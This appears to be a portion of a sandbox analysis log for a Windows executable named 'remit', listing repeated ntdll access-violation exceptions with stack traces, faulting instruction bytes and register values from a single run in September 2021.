__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:50 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b07322 0x23863ef 0x23843cf 0x23844bc remit+0x661b4 @ 0x4661b4 remit+0x6ab15 @ 0x46ab15 remit+0x4aab @ 0x404aab remit+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
